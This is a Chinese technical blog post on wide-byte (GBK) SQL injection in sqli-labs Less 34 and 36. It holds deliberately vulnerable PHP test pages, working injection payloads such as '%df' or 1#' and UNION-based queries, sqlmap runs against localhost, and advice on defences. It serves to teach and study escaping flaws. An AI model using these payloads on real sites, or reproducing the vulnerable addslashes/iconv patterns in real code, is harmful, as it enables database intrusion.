【sqli-labs】 对于less34 less36的宽字节注入的一点深入
1.AddSlashes()
首先来观察一下是如何通过构造吃掉转义字符的
先将less 34的网页编码换成gbk
加上一些输出
echo "Before addslashes(): " . $uname1 . "<br/>";$uname = addslashes($uname1);$passwd= addslashes($passwd1);echo "After addslashes(): " . $uname . "<br/>";//echo "username after addslashes is :".$uname ."<br>";//echo "Input password after addslashes is : ".$passwd; // connectivity mysql_query("SET NAMES gbk");@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";echo "SQL Statement: " . $sql . "<br/>";POST提交
uname=%df' or 1#&passwd=1
%df即ASCII码十六进制为df的字符 ß
（注：%df为URL编码，URL编码即是255个ASCII字符的十六进制数值加上一个前置的%，可参考：http://www.w3school.com.cn/tags/html_ref_urlencode.html）
POST提交
uname=ß' or 1#&passwd=1
可以的到和提交%df一样的效果
现在来观察一下页面的输出
Before addslashes(): �' or 1#After addslashes(): 運' or 1#
（注意在网页编码为UTF-8的时候 運 字是无法被显示的）
After addslashes(): �\' or 1#
addslashes()函数只是对单引号进行了转义处理，df字符没有做任何处理，在网页编码为GBK时，df 和 \ 字符合并成了一个gbk字符 運
在注入操作的时候，合并的过程是在MYSQL执行查询操作的时候
SELECT username, password FROM users WHERE username='�\' or 1#' and password='1' LIMIT 0,1#注意此时输入的引号并没有引发闭合
mysql_query("SET NAMES gbk");#由于客户端指定了编码gbkSELECT username, password FROM users WHERE username='運' or 1#' and password='1' LIMIT 0,1#查询语句由utf-8转向gbk编码，df 和 5c (即\)合并成为了一个gbk字符
理解了这个过程，再来看看GBK编码，编码的范围为 8140-FEFE，首字节在 81-FE 之间，尾字节在 40-FE 之间，字符 \ 的ASCII码为5C，在其低位范围内，就可能被吃掉，并且能吃掉它的字符不仅只有0xdf
取一个实验一下（参考： http://www.bo56.com/gbk汉字内码扩展规范编码表）
比如 乗 字符，GBK编码 815C
那么构造
uname=%81' or 1#&passwd=1
另外，GB2312编码范围是A1A1－FEFE，其中汉字编码范围：B0A1-F7FE，即高位A1~FE，低位A1~FE，字符 \ 的ASCII码为5C，不在其低位范围内，自然不会被吃掉。
2.mysql_real_escape_string()
Less 36和Less 34用一样的payload注入，因此看不出来addslashes()和mysql_real_escape_string()的区别
参考：http://www.laruence.com/2010/04/12/1396.html
解释一下这个输出，
addslashes函数读取每个字节，915c按照两个字节读取，发现5c后进行转义: 915c --> 915c5c
控制台为gbk编码所以显示 慭\
第二个第三个输出都是一个原理
对于mysql_real_escape_string()函数，需要注意在使用mysql_set_charset("gbk")后，没有进行转义操作，
也就是说mysql_real_escape_string()函数正确读取了gbk字符（而不是两个ASCII字符，需要注意UTF-8对于ASCII字符的编码是和ASCII码相同的），
前面三种都属于一种 “误转义” ，因此，对于宽字节注入，可以使用第四种方式避免
来实验一下
参考：https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=gbk" /><title>mysql_real_escape_string</title>
</head>
<body>
<?php$conn = mysql_connect("localhost", "root", "toor") or die("Error!");//mysql_query("SET NAMES 'gbk'"); //mysql_set_charset包含了这个操作mysql_select_db("security", $conn);mysql_set_charset("gbk", $conn);$id = isset($_GET["id"]) ? mysql_real_escape_string($_GET["id"]) :1;$sql = "SELECT * FROM users WHERE id='{$id}'";echo $sql. "<br/>";$result = mysql_query($sql, $conn) or die(mysql_error());$row = mysql_fetch_array($result, MYSQL_ASSOC);echo "<h2>{$row['username']}</h2>";mysql_free_result($result);
?>
</body>
</html>【1】正常提交
http://localhost/1.php?id=1
【2】单引号提交（正确转义）
【3】尝试注入宽字节
如果引号闭合成功，union select 会返回结果，页面会有输出
http://localhost/1.php?id=0%df' union select 1,2,3%23
并没有得到输出
来使用sqlmap测试一下
python sqlmap.py -u http://localhost/mysql_real_escape_string.php?id=1 --tamper unmagicquotes.py --dbms mysql
[19:18:02] [INFO] loading tamper script 'unmagicquotes' [19:18:02] [INFO] testing connection to the target URL [19:18:02] [INFO] testing if the target URL content is stable [19:18:03] [INFO] target URL content is stable [19:18:03] [INFO] testing if GET parameter 'id' is dynamic [19:18:03] [INFO] confirming that GET parameter 'id' is dynamic [19:18:03] [INFO] GET parameter 'id' is dynamic [19:18:03] [WARNING] reflective value(s) found and filtering out [19:18:03] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable [19:18:03] [INFO] testing for SQL injection on GET parameter 'id' [19:18:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:18:03] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:18:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [19:18:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [19:18:03] [INFO] testing 'MySQL inline queries' [19:18:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [19:18:03] [WARNING] time-based comparison requires larger statistical model, please wait.. (done) [19:18:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:18:04] [WARNING] GET parameter 'id' does not seem to be injectable [19:18:04] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests[*] shutting down at 19:18:04
3.character_set_client=binary 和 iconv()
参考此处：https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html#005-iconv
使用character_set_client=binary来避免宽字节注入，但误用iconv()函数导致的注入问题，可能发生在搜索框中
先看一下测试代码
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>iconv_utf2gbk</title>
</head>
<body>
<?phpfunction strToHex($string){$hex='';for ($i=0; $i < strlen($string); $i++){$hex .= dechex(ord($string[$i]));}return $hex;}$conn = mysql_connect("localhost", "root", "toor") or die("Error!");mysql_query("SET NAMES 'gbk'");mysql_select_db("security", $conn);mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";$id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";// iconv(string $in_charset , string $out_charset , string $str )@$id = iconv('utf-8', 'gbk', $id);echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";$sql = "SELECT * FROM users WHERE id='{$id}'";echo $sql. "<br/>";$result = mysql_query($sql, $conn) or die(mysql_error());$row = mysql_fetch_array($result, MYSQL_ASSOC);echo "<h2>{$row['username']}</h2>";mysql_free_result($result);
?>
</body>
</html>一些正常的请求
（注意语句执行是成功的，只是没有查询结果而已）
一个可能造成注入的请求
http://localhost/iconv_utf82gbk.php?id=錦
出现了MySQL的报错，注意SQL语句，\' 是 ' 的转义，用来闭合的单引号被转义了，SQL语句没有闭合，所以出现错误
来看一下产生的原因，錦 的UTF8编码为e98ca6（三个字节），GBK编码为e55c，character_set_client=binary使得 ' 被 5c 转义，语句没有闭合
同样，GBK编码低位为5c的都可以造成这个错误，運 GBK编码 df5c
那么利用这个5c，就可以造成注入了，
构造这个请求
http://localhost/iconv_utf82gbk.php?id=運'%23
没有了错误，addslashes()函数转义了' 转义的\ 和5c 形成了一个新的转义（\的转义为\\），我们输入的 ' 成功闭合了语句，原来用来闭合的 ' 被 # 注释
http://localhost/iconv_utf82gbk.php?id=運' union select 1,database(),3%23
sqlmap并不能发现这个注入点
>python sqlmap.py -u http://localhost/iconv_utf82gbk.php?id=1 -tamper unmagicquotes.py --dbms mysql
[21:06:27] [INFO] setting file for logging HTTP traffic
[21:06:27] [INFO] testing connection to the target URL
[21:06:27] [INFO] testing if the target URL content is stable
[21:06:28] [INFO] target URL content is stable
[21:06:28] [INFO] testing if GET parameter 'id' is dynamic
[21:06:28] [INFO] confirming that GET parameter 'id' is dynamic
[21:06:28] [INFO] GET parameter 'id' is dynamic
[21:06:28] [WARNING] reflective value(s) found and filtering out
[21:06:28] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[21:06:28] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[21:06:28] [INFO] testing for SQL injection on GET parameter 'id'
[21:06:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:06:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[21:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:06:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[21:06:29] [INFO] testing 'MySQL inline queries'
[21:06:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[21:06:29] [WARNING] time-based comparison requires larger statistical model, please wait.. (done)
[21:06:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:06:29] [WARNING] GET parameter 'id' does not seem to be injectable
[21:06:29] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')
[*] shutting down at 21:06:29
同样的，gbk转向utf-8时也会出现类似的漏洞
测试代码如下
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>iconv_gbk2utf</title>
</head>
<body>
<?phpfunction strToHex($string){$hex='';for ($i=0; $i < strlen($string); $i++){$hex .= dechex(ord($string[$i]));}return $hex;}$conn = mysql_connect("localhost", "root", "toor") or die("Error!");mysql_query("SET NAMES 'gbk'");mysql_select_db("security", $conn);mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";$id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";// iconv(string $in_charset , string $out_charset , string $str )@$id = iconv('gbk', 'utf-8', $id);echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";$sql = "SELECT * FROM users WHERE id='{$id}'";echo $sql. "<br/>";$result = mysql_query($sql, $conn) or die(mysql_error());$row = mysql_fetch_array($result, MYSQL_ASSOC);echo "<h2>{$row['username']}</h2>";mysql_free_result($result);
?>
</body>
</html>构造请求
http://localhost/iconv_gbk2utf8.php?id=1%e5%27%23
变回了一个普通的宽字节注入，e55c(GBK) 通过iconv函数转向了 e98ca6(UTF-8)
转义的 \ 在编码转换中消失了
http://localhost/iconv_gbk2utf8.php?id=0%e5' union select 1,database(),3%23
4.总结一下
1.addslashes()函数和mysql_real_escape_string()函数并不等价，addslashes()函数无法抵御宽字节注入，配置正确的mysql_real_escape_string()函数可以抵御宽字节注入，但对于整型注入，这两个函数都无能为力。
2.错误的使用iconv()函数可能使得转义字符被吃掉，造成注入点。
附一个255位的ASCII码表
Bin Dec Hex 缩写/字符 解释0000 0000 0 00 NUL (null) 空字符
0000 0001 1 01 SOH (start of handing) 标题开始
0000 0010 2 02 STX (start of text) 正文开始
0000 0011 3 03 ETX (end of text) 正文结束
0000 0100 4 04 EOT (end of transmission) 传输结束
0000 0101 5 05 ENQ (enquiry) 请求
0000 0110 6 06 ACK (acknowledge) 收到通知
0000 0111 7 07 BEL (bell) 响铃
0000 1000 8 08 BS (backspace) 退格
0000 1001 9 09 HT (horizontal tab) 水平制表符
0000 1010 10 0A LF (NL line feed, new line) 换行键
0000 1011 11 0B VT (vertical tab) 垂直制表符
0000 1100 12 0C FF (NP form feed, new page) 换页键
0000 1101 13 0D CR (carriage return) 回车键
0000 1110 14 0E SO (shift out) 不用切换
0000 1111 15 0F SI (shift in) 启用切换
0001 0000 16 10 DLE (data link escape) 数据链路转义
0001 0001 17 11 DC1 (device control 1) 设备控制1
0001 0010 18 12 DC2 (device control 2) 设备控制2
0001 0011 19 13 DC3 (device control 3) 设备控制3
0001 0100 20 14 DC4 (device control 4) 设备控制4
0001 0101 21 15 NAK (negative acknowledge) 拒绝接收
0001 0110 22 16 SYN (synchronous idle) 同步空闲
0001 0111 23 17 ETB (end of trans. block) 传输块结束
0001 1000 24 18 CAN (cancel) 取消
0001 1001 25 19 EM (end of medium) 介质中断
0001 1010 26 1A SUB (substitute) 替补
0001 1011 27 1B ESC (escape) 溢出
0001 1100 28 1C FS (file separator) 文件分割符
0001 1101 29 1D GS (group separator) 分组符
0001 1110 30 1E RS (record separator) 记录分离符
0001 1111 31 1F US (unit separator) 单元分隔符
0010 0000 32 20 空格
0010 0001 33 21 !
0010 0010 34 22 "
0010 0011 35 23 #
0010 0100 36 24 $
0010 0101 37 25 %
0010 0110 38 26 &
0010 0111 39 27 '
0010 1000 40 28 (
0010 1001 41 29 )
0010 1010 42 2A *
0010 1011 43 2B +
0010 1100 44 2C ,
0010 1101 45 2D -
0010 1110 46 2E .
0010 1111 47 2F /
0011 0000 48 30 0
0011 0001 49 31 1
0011 0010 50 32 2
0011 0011 51 33 3
0011 0100 52 34 4
0011 0101 53 35 5
0011 0110 54 36 6
0011 0111 55 37 7
0011 1000 56 38 8
0011 1001 57 39 9
0011 1010 58 3A :
0011 1011 59 3B ;
0011 1100 60 3C <
0011 1101 61 3D =
0011 1110 62 3E >
0011 1111 63 3F ?
0100 0000 64 40 @
0100 0001 65 41 A
0100 0010 66 42 B
0100 0011 67 43 C
0100 0100 68 44 D
0100 0101 69 45 E
0100 0110 70 46 F
0100 0111 71 47 G
0100 1000 72 48 H
0100 1001 73 49 I
0100 1010 74 4A J
0100 1011 75 4B K
0100 1100 76 4C L
0100 1101 77 4D M
0100 1110 78 4E N
0100 1111 79 4F O
0101 0000 80 50 P
0101 0001 81 51 Q
0101 0010 82 52 R
0101 0011 83 53 S
0101 0100 84 54 T
0101 0101 85 55 U
0101 0110 86 56 V
0101 0111 87 57 W
0101 1000 88 58 X
0101 1001 89 59 Y
0101 1010 90 5A Z
0101 1011 91 5B [
0101 1100 92 5C /
0101 1101 93 5D ]
0101 1110 94 5E ^
0101 1111 95 5F _
0110 0000 96 60 `
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0110 0100 100 64 d
0110 0101 101 65 e
0110 0110 102 66 f
0110 0111 103 67 g
0110 1000 104 68 h
0110 1001 105 69 i
0110 1010 106 6A j
0110 1011 107 6B k
0110 1100 108 6C l
0110 1101 109 6D m
0110 1110 110 6E n
0110 1111 111 6F o
0111 0000 112 70 p
0111 0001 113 71 q
0111 0010 114 72 r
0111 0011 115 73 s
0111 0100 116 74 t
0111 0101 117 75 u
0111 0110 118 76 v
0111 0111 119 77 w
0111 1000 120 78 x
0111 1001 121 79 y
0111 1010 122 7A z
0111 1011 123 7B {
0111 1100 124 7C |
0111 1101 125 7D }
0111 1110 126 7E ~
0111 1111 127 7F DEL (delete) 删除 Extended ASCII128 80 ?129 81 �130 82 ‚131 83 ƒ132 84 „133 85 …134 86 †135 87 ‡136 88 ˆ137 89 ‰138 8A Š 139 8B ‹140 8C Œ141 8D �142 8E Ž 143 8F �144 90 �145 91 ' 146 92 ' 147 93 " 148 94 " 149 95 o 150 96 - 151 97 -152 98 ˜153 99 ™154 9A š 155 9B ›156 9C œ157 9D �158 9E ž 159 9F Ÿ160 A0 161 A1 ¡ 162 A2 ¢163 A3 £164 A4 ¤ 165 A5 ¥ 166 A6 ¦ 167 A7 §168 A8 ¨ 169 A9 ©170 AA ª 171 AB « 172 AC 173 AD 174 AE ® 175 AF ¯ 176 B0 ° 177 B1 ± 178 B2 ² 179 B3 ³ 180 B4 ´ 181 B5 µ 182 B6 183 B7 · 184 B8 185 B9 ¹ 186 BA º 187 BB » 188 BC ¼ 189 BD ½ 190 BE ¾ 191 BF ¿ 192 C0 À 193 C1 Á 194 C2  195 C3 à 196 C4 Ä 197 C5 Å 198 C6 Æ 199 C7 Ç 200 C8 È 201 C9 É 202 CA Ê 203 CB Ë 204 CC Ì 205 CD Í 206 CE Î 207 CF Ï 208 D0 Ð 209 D1 Ñ 210 D2 Ò 211 D3 Ó 212 D4 Ô 213 D5 Õ 214 D6 Ö 215 D7 × 216 D8 Ø 217 D9 Ù 218 DA Ú 219 DB Û 220 DC Ü 221 DD Ý 222 DE Þ 223 DF ß224 E0 à225 E1 á226 E2 â227 E3 ã228 E4 ä229 E5 å230 E6 æ231 E7 ç232 E8 è233 E9 é234 EA ê235 EB ë236 EC ì237 ED í238 EE î239 EF ï240 F0 ð241 F1 ñ242 F2 ò243 F3 ó244 F4 ô245 F5 õ246 F6 ö247 F7 ÷248 F8 ø249 F9 ù250 FA ú 251 FB û252 FC ü253 FD ý254 FE þ 255 FF ÿ 以wiki上的图为准
转载于:https://www.cnblogs.com/omnis/p/8413779.html
【sqli-labs】 对于less34 less36的宽字节注入的一点深入相关推荐
- python实现sql宽字节注入+布尔盲注
目录 一.注意点 二.代码 三.使用 1.获取 (简单方法) (复杂方法) 2.使用 四.测试 一.注意点 本文代码是对着pikachu漏洞靶场的宽字节注入关卡开发的,代码中的payload和参数都基 ...
- java 宽字节_宽字节注入
宽字节注入 原理:宽字节(两字节)带来的安全问题主要是吃ASCII字符(一字节)的现象,使用一些特殊字符来"吃掉"经过转义符 " \ " . 在重新详细了解宽字 ...
- MySQL宽字节注入漏洞分析_宽字节注入
概念 单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码. 多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示. 两位的多字节字符有 ...
- mysql 宽字符注入_sql注入 宽字节注入
宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(ascii码要大于128,才到汉字的范围), 而当我们输入有单引号时会自动加入\进行转义而 ...
- sql注入_1-8_宽字节注入
文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...
- mysql sql宽字节注入_sql注入之宽字节注入
宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码 不过既然是sql注入的一部分,也搭建环境 做做实验 实验环境: wamp集成包 实 ...
- mysql宽字节注入_转宽字节注入详解
在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等, 还有一种情况是magic_quote_gpc,不过高 ...
- phpcms v9宽字节注入问题
关于阿里云提示"phpcms v9宽字节注入问题"的漏洞修复方案. 简介: 漏洞名称:phpcms v9宽字节注入问题 补丁文件:www/phpcms/modules/pay/re ...
- 深入探究宽字节注入漏洞与修补原理
通俗 在GBK编码时,mysql会认为两个字符是一个汉字(在前一个字节的ascii码大于128的情况下).而经过转义之后的单引号'会变为\',即%5c%27.构造id=1%df%27%23 ,在经过转 ...
最新文章
- Zynq的AMP开发流程说明（基于OCM）
- CPU所含有的寄存器
- OpenGL ES之Swift使用GLSL语言渲染图片的显示
- Docker安装Python3.5
- 今天看明白了，为什么有些属性会这样写了：public string status{get;set;}
- LeetCode算法入门- Longest Valid Parentheses -day12
- c++ httpserver 服务器
- JSON返回的自定义
- 人脸检测与识别的趋势和分析
- Linux调出git页面,Linux 显示 git 分支 及 完整路径
- elementui回到顶部Backtop
- arcgis api 4.X 比例尺的添加
- esmm/Entire Space Multi-Task Model- An Effective Approach for Estimating Post-Click Conversion Rate
- IT人的求职技巧 中山大学新炬网络校园宣讲会
- 揭秘当下最主流的的7个app推广渠道及其不为人知的秘密
- 理解Room数据库的迁移(Migration)
- 远程办公和分布式协作的区别
- python如何用macd选股_使用MACD指标进行选股的四种方法
- 从大数据+AI 谈谈概念与场景
- 热伤风和感冒有什么区别